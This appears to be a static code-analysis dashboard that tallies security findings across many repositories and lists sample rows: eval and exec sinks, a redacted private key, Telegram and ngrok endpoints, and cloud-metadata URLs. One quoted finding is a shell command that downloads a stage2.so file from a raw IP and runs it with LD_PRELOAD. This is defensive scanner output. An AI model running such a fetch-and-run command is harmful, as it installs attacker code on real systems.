Code analysis
static source read inferred
Static code-analysis findings — hidden prompt content in shipped skill files, committed secrets, dynamic-exec sinks, and suspicious call-home endpoints — across the analyzed catalogue. Heuristic, pure, no code executed; every row deep-links to its source. Click a kind to filter.
50108 analyzed
8067 re-analysis due
988 not analyzable
0 not yet analyzed
4804 source gone
not analyzable
789 too large 199 no source
Running analyzer v33. The scanner changelog explains what each version detects and when it changed.
- hidden prompt 338
- committed secret 6180
- dynamic exec 11839
- obfuscation 3598
- suspicious endpoint 12356
- credential in log 713
- over-broad oauth scope 2550
- suspicious skill script 185
- bundled IDE extension 49
- skill file 187702
- HIGH committed secret dimileeh/agent-workspace-fabric private key
PEM private key block (redacted) - HIGH dynamic exec dimileeh/agent-workspace-fabric unsafe yaml.load()
yaml.load( - MEDIUM suspicious endpoint dimileeh/agent-workspace-fabric 169.254.169.254 (cloud metadata)
next_url="https://169.254.169.254/latest/meta-data", - HIGH dynamic exec dimileeh/agent-workspace-fabric eval()/exec()
exec("from awf.api.schemas import *", namespace) - MEDIUM suspicious endpoint dimileeh/agent-workspace-fabric 169.254.169.254 (cloud metadata)
"http://169.254.169.254/latest/meta-data", - MEDIUM suspicious endpoint tarunlnmiit/autopilot-jobhunt api.telegram.org
url = f"https://api.telegram.org/bot{bot_token}/sendMessage" - MEDIUM suspicious endpoint yuclaw api.telegram.org
url = f"https://api.telegram.org/bot{token}/sendMessage" - HIGH dynamic exec gesh75/claude-mastery-hub eval()
const needle = eval(findLiteral); - HIGH dynamic exec xuj1nfan/knowledge_base __import__()
__import__(name) - MEDIUM suspicious endpoint cisco-open/mcptoolkit-contract abc.ngrok.io
oauthCallbackUrl: 'https://abc.ngrok.io/custom/oauth/callback' - HIGH hidden prompt itential/builder-skills skill: skill-exfil
secret→sink: 2. **Credentials arrive as env vars** from the `secrets` block. Use `os.environ.get('DEVICE_USERNAME')`. - HIGH dynamic exec anvil008/phalanx eval()
no <code className="font-mono text-ink">eval()</code> or HTML string rendering is permitted. - MEDIUM suspicious endpoint anvil008/phalanx 185.121.44.19
{"cmd": "/bin/sh -c 'curl -s http://185.121.44.19/stage2.so -o /tmp/libedgetls.so.2 && LD_PRELOAD=/tmp/libedgetls.so.2'"} - HIGH obfuscation DrEden33773/adam-agent dynamic require()/import()
const { createModelTargets } = await import(${JSON.stringify(agentUrl)}); - HIGH obfuscation DrEden33773/adam-agent dynamic require()/import()
const { createCodingToolRegistry, createBiomeExecutionAdapter } = await import(${JSON.stringify(agentUrl)});